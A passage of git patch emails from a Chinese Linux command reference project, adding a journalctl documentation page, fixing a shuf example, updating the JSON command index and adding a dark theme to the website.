wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file diff --git a/package.json b/package.json index 6471d2fce2b..b356b16049e 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.8.3", + "version": "1.9.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 0530c067776283f56abe2ae49a44d54eb25985d0 Mon Sep 17 00:00:00 2001 From: weibk <79395818+weibk@users.noreply.github.com> Date: Thu, 17 Mar 2022 20:09:28 +0800 Subject: [PATCH 0438/1019] Update shuf.md (#345) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 第一个例子中命令应该是 shuf 而不是 head --- command/shuf.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/shuf.md b/command/shuf.md index c70c3055365..35518b98112 100644 --- a/command/shuf.md +++ b/command/shuf.md @@ -44,7 +44,7 @@ ARG（可选）：作为输入行的字符串，可以为任意数量。 ```shell # 模拟硬币抛掷，获取前10个结果： -[user2@pc ~]$ head -r -n 10 -e "正面" -e "反面" +[user2@pc ~]$ shuf -r -n 10 -e "正面" -e "反面" 反面 正面 正面 From 2c3e9f08c6eecd6f85e647cbe506fcc59f4b0566 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Thu, 24 Mar 2022 06:50:24 +0800 Subject: [PATCH 0439/1019] Add journalctl.md (#347) --- command/journalctl.md | 155 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 155 insertions(+) create mode 100644 command/journalctl.md diff --git a/command/journalctl.md b/command/journalctl.md new file mode 100644 index 00000000000..e87fcb51040 --- /dev/null +++ b/command/journalctl.md @@ -0,0 +1,155 @@ +journalctl +=== + +检索 systemd 日志，是 CentOS 7 才有的工具。 + +### 语法 + +```shell +journalctl [OPTIONS...] [MATCHES...] +``` + +### 选项 + +```shell +Flags: + --system # 显示系统日志 + --user # 显示当前用户的用户日志 +-M --machine=CONTAINER # 在本地容器上操作 +-S --since=DATE # 显示不早于指定日期的条目 +-U --until=DATE # 显示不晚于指定日期的条目 +-c --cursor=CURSOR # 显示从指定光标开始的条目 + --after-cursor=CURSOR # 在指定光标后显示条目 + --show-cursor # 在所有条目之后打印光标 +-b --boot[=ID] # 显示当前启动或指定启动 + --list-boots # 显示有关已记录引导的简洁信息 +-k --dmesg # 显示当前启动的内核消息日志 +-u --unit=UNIT # 显示指定单元的日志 +-t --identifier=STRING # 显示具有指定系统日志标识符的条目 +-p --priority=RANGE # 显示具有指定优先级的条目 +-e --pager-end # 在pager中立即跳转到末尾 +-f --follow # 关注期刊 +-n --lines[=INTEGER] # 要显示的日志条目数 + --no-tail # 显示所有行，即使在跟随模式下 +-r --reverse # 首先显示最新的条目 +-o --output=STRING # 更改日志输出模式 (short, short-iso, + short-precise, short-monotonic, verbose, + export, json, json-pretty, json-sse, cat) +--utc # 以协调世界时 (UTC) 表示的时间 +-x --catalog # 在可用的情况下添加消息说明 + --no-full # Ellipsize 字段 +-a --all # 显示所有字段，包括长的和不可打印的 +-q --quiet # 不显示特权警告 + --no-pager # 不要将输出通过管道传输到寻呼机 +-m --merge # 显示所有可用期刊的条目 +-D --directory=PATH # 显示目录中的日志文件 + --file=PATH # 显示日志文件 + --root=ROOT # 对根目录下的目录文件进行操作 + --interval=TIME # 更改 FSS 密封键的时间间隔 + --verify-key=KEY # 指定FSS验证密钥 + --force # 使用 --setup-keys 覆盖 FSS 密钥对 + +Commands: +-h --help # 显示此帮助文本 + --version # 显示包版本 +-F --field=FIELD # 列出指定字段的所有值 + --new-id128 # 生成新的 128 位 ID + --disk-usage # 显示所有日志文件的总磁盘使用情况 + --vacuum-size=BYTES # 将磁盘使用量减少到指定大小以下 + --vacuum-time=TIME # 删除早于指定日期的日志文件 + --flush # 将所有日志数据从 /run 刷新到 /var + --header # 显示期刊头信息 + --list-catalog # 显示目录中的所有消息 ID + --dump-catalog # 在消息目录中显示条目 + --update-catalog # 更新消息目录数据库 + --setup-keys # 生成新的 FSS 密钥对 + --verify # 验证日志文件的一致性 +``` + +### 实例 + +**过滤输出** + +`journalctl` 可以根据特定字段过滤输出。如果过滤的字段比较多，需要较长时间才能显示出来。 + +示例： + +显示本次启动后的所有日志： + +```shell +journalctl -b +``` + +不过，一般大家更关心的不是本次启动后的日志，而是上次启动时的（例如，刚刚系统崩溃了）。可以使用 -b 参数： + +- `journalctl -b -0` 显示本次启动的信息 +- `journalctl -b -1` 显示上次启动的信息 +- `journalctl -b -2` 显示上上次启动的信息 `journalctl -b -2` + +只显示错误、冲突和重要告警信息 + +```shell +journalctl -p err..alert +``` + +也可以使用数字， `journalctl -p 3..1`。如果使用单个 number/keyword，则 `journalctl -p 3` - 还包括所有更高的优先级。 + +显示从某个日期 ( 或时间 ) 开始的消息: + +```shell +journalctl --since="2012-10-30 18:17:16" +``` + +显示从某个时间 ( 例如 20分钟前 ) 的消息: + +```shell +journalctl --since "20 min ago" +``` + +显示最新信息 + +```shell +journalctl -f +``` + +显示特定程序的所有消息: + +```shell +journalctl /usr/lib/systemd/systemd +``` + +显示特定进程的所有消息: + +```shell +journalctl _PID=1 +``` + +显示指定单元的所有消息： + +```shell +journalctl -u man-db.service +``` + +显示内核环缓存消息r: + +```shell +journalctl -k +``` + +**手动清理日志** + +`/var/log/journal` 存放着日志, `rm` 应该能工作. 或者使用 `journalctl`, + +例如: + +清理日志使总大小小于 100M: + +```shell +journalctl --vacuum-size=100M +``` + +清理最早两周前的日志. + +```shell +journalctl --vacuum-time=2weeks +``` From 0802e9695cf87653c7b6eb02bd0a8aad7c2b6e5e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 3 Apr 2022 23:32:20 +0800 Subject: [PATCH 0440/1019] website: add dark theme. --- build/build.mjs | 9 ++-- package.json | 4 +- template/contributors.ejs | 2 +- template/list.ejs | 1 - template/partial/header.ejs | 5 ++- template/styl/index.styl | 70 +++++++++--------------------- template/styl/mixins/css.styl | 19 -------- template/styl/mixins/markdown.styl | 2 +- template/styl/mixins/reset.styl | 5 +-- template/widget/search.ejs | 13 +----- 10 files changed, 37 insertions(+), 93 deletions(-) delete mode 100644 template/styl/mixins/css.styl diff --git a/build/build.mjs b/build/build.mjs index 90045013bf6..42ae373d3ca 100644 --- a/build/build.mjs +++ b/build/build.mjs @@ -24,7 +24,9 @@ const contributorsPath = path.resolve(process.cwd(), 'CONTRIBUTORS.svg'); await FS.ensureDir(path.resolve(deployDir, 'c')); await FS.copySync(faviconPath, path.resolve(deployDir, 'img', 'favicon.ico')); - await FS.copyFile(path.resolve(process.cwd(), 'template', 'js', 'copy-to-clipboard.js'), path.resolve(deployDir, 'js', 'copy-to-clipboard.js')) + await FS.copyFile(path.resolve(process.cwd(), 'template', 'js', 'copy-to-clipboard.js'), path.resolve(deployDir, 'js', 'copy-to-clipboard.js')); + await FS.copyFile(path.resolve(process.cwd(), 'node_modules/@wcj/dark-mode/main.js'), path.resolve(deployDir, 'js', 'dark-mode.min.js')); + await FS.copyFile(path.resolve(process.cwd(), 'node_modules/@uiw/github-corners/lib/index.js'), path.resolve(deployDir, 'js', 'github-corners.js')); const jsData = await FS.readFileSync(rootIndexJSPath); await FS.outputFile(path.resolve(deployDir, 'js', 'index.js'), UglifyJS.minify(jsData.toString()).code) @@ -214,7 +216,7 @@ const contributorsPath = path.resolve(process.cwd(), 'CONTRIBUTORS.svg'); } function markdownToHTML(str) { - return create({ markdown: str, document: undefined }); + return create({ markdown: str, document: undefined, 'dark-mode': false }); } /** @@ -226,13 +228,12 @@ function markdownToHTML(str) { return new Promise((resolve, reject) => { try { const stylStr = FS.readFileSync(stylPath, 'utf8'); - const stylMD = FS.readFileSync(path.resolve('node_modules/markdown-to-html-cli/github.css'), 'utf8'); stylus(stylStr.toString()) .set('filename', stylPath) .set('compress', true) .render((err, css) => { if (err) throw err; - resolve(`${stylMD.replace(/\n/, '')}\n${css}`); + resolve(`${css}`); }); } catch (err) { reject(err); diff --git a/package.json b/package.json index b356b16049e..04291c4b1d0 100644 --- a/package.json +++ b/package.json @@ -25,11 +25,13 @@ "url": "git+https://github.com/jaywcjlove/linux-command.git" }, "devDependencies": { + "@uiw/github-corners": "~1.5.11", + "@wcj/dark-mode": "~1.0.14", "archiver": "~5.3.0", "colors-cli": "~1.0.28", "ejs": "~3.1.6", "fs-extra": "~10.0.1", - "markdown-to-html-cli": "~3.2.5", + "markdown-to-html-cli": "~3.4.1", "sitemap-generator": "~8.5.1", "sqlite3": "~5.0.2", "stylus": "~0.56.0", diff --git a/template/contributors.ejs b/template/contributors.ejs index 66dca26ab5b..a799f612bba 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -4,7 +4,7 @@

Contributors

<%-describe.contributors ? describe.contributors : '' %>

- 数据来源于 GitHub Contributors，使用github-action-contributors创建。 + 数据来源于 GitHub Contributors，使用action-contributors创建。

<%- include('widget/footer',{type: "list"}); %> diff --git a/template/list.ejs b/template/list.ejs index b064b21935c..7d927bcbc38 100644 --- a/template/list.ejs +++ b/template/list.ejs @@ -1,6 +1,5 @@ <%- include('partial/header'); %> <%- include('widget/search',{type: "list"}); %> -
    - logo - Linux Command Logo. https://github.com/jaywcjlove - - - - - +
    From cd2c1da740342251214281cbfe5f102e530d1597 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 3 Apr 2022 23:56:05 +0800 Subject: [PATCH 0441/1019] website: update dark theme. --- template/partial/header.ejs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/template/partial/header.ejs b/template/partial/header.ejs index dc2d4714d46..f8460a50f87 100644 --- a/template/partial/header.ejs +++ b/template/partial/header.ejs @@ -10,7 +10,7 @@ <%=describe.n?describe.n+'':''%> 命令，Linux <%=describe.n?describe.n+'':''%> 命令详解：<%=describe.d?describe.d+' - ':''%> Linux 命令搜索引擎 - + From 0766c09586bfa24133ef55e08da2ad6f8865035e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 3 Apr 2022 23:57:11 +0800 Subject: [PATCH 0442/1019] chore: build data. --- dist/data.json | 5 +++++ dist/data.min.json | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/dist/data.json b/dist/data.json index ba5ccfcb019..1948f9b8b48 100644 --- a/dist/data.json +++ b/dist/data.json @@ -1164,6 +1164,11 @@ "p": "/join", "d": "两个文件中指定栏位内容相同的行连接起来" }, + "journalctl": { + "n": "journalctl", + "p": "/journalctl", + "d": "检索 systemd 日志，是 CentOS 7 才有的工具。" + }, "jq": { "n": "jq", "p": "/jq", diff --git a/dist/data.min.json b/dist/data.min.json index 694dc0edede..93fb7d0b164 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Li